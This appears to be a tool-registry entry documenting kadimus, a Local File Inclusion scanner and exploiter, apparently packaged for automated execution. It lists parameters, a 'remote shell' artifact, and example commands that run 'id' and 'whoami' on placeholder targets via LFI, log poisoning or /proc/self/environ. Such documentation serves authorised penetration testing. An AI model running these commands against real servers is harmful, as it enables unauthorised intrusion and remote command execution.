security enabled verified high v1.0.0

kadimus

LFI (Local File Inclusion) scanning and exploitation tool that detects file inclusion vulnerabilities and leverages them for RCE and file reading.

📋 Live Preview

kadimus {flag-scan} {flag-parameter} {flag-command} {flag-data} {flag-cookie} {flag-user-agent} {flag-proxy} -u {url}

📎 flag-scan 📎 flag-parameter 📎 flag-command 📎 flag-data 📎 flag-cookie 📎 flag-user-agent 📎 flag-proxy 📎 url

kadimus {flag-scan} {flag-parameter} {flag-command} {flag-data} {flag-cookie} {flag-user-agent} {flag-proxy} -u {url}

Sandbox: execFile · Timeout: 120s

Capabilities

web.lfi.scan

web.lfi.exploit

web.lfi.rce

web.lfi.read-file

Parameters

Name	Type	Required	Default	Description	Aliases
`url`	string	Yes	-	Target URL with injection parameter	`-u`, `--url`
`flag-parameter`	string	No	-	Parameter name to test	`-p`, `--parameter`
`flag-command`	string	No	-	Command to execute via LFI	`-C`, `--command`
`flag-scan`	boolean	No	-	Scan mode - discover possible LFI parameters	`-s`, `--scan`
`flag-data`	string	No	-	POST data string	`-d`, `--data`
`flag-cookie`	string	No	-	HTTP Cookie header	`--cookie`
`flag-user-agent`	string	No	-	Custom User-Agent	`-A`, `--user-agent`
`flag-proxy`	string	No	-	HTTP proxy	`--proxy`

Artifacts

Type	Description	MIME	Schema	Trust
`web.lfi.output`	LFI exploitation output	text/plain	-	verified
`web.lfi.shell`	Remote shell access	text/plain	-	verified

Contract

Inputs

web.target.url

Target URL with file parameter

Outputs

web.lfi.output

Read file content or command output

Side effects: network_traffic

Workflow Edges

Produces

web.lfi.output

Consumes

web.target.url

Resource Profile

Resource	Value
CPU	low
Memory	32 MB
Network	low
Disk I/O	low

Examples

Basic LFI scan

kadimus -u "http://example.com/page.php?file=test"

Execute command via LFI

kadimus -u "http://example.com/page.php?file=test" -C "id"

Scan for LFI parameters

kadimus -u "http://example.com/page.php?file=test" -s

Documentation

Kadimus — LFI Scanning and Exploitation

Kadimus is a C-based tool for detecting and exploiting Local File Inclusion (LFI) vulnerabilities. It supports file reading, remote command execution via log poisoning and /proc/self/environ techniques, and automated scanning.

Usage

# Basic scan
kadimus -u "http://target.com/page.php?file=test"

# Execute command via LFI
kadimus -u "http://target.com/page.php?file=test" -C "whoami"

# POST request
kadimus -u "http://target.com/page.php" -d "file=test" -C "id"

Dependencies

libcurllibpcre

Related Tools

commixtplmapnmap

References

Kadimus GitHub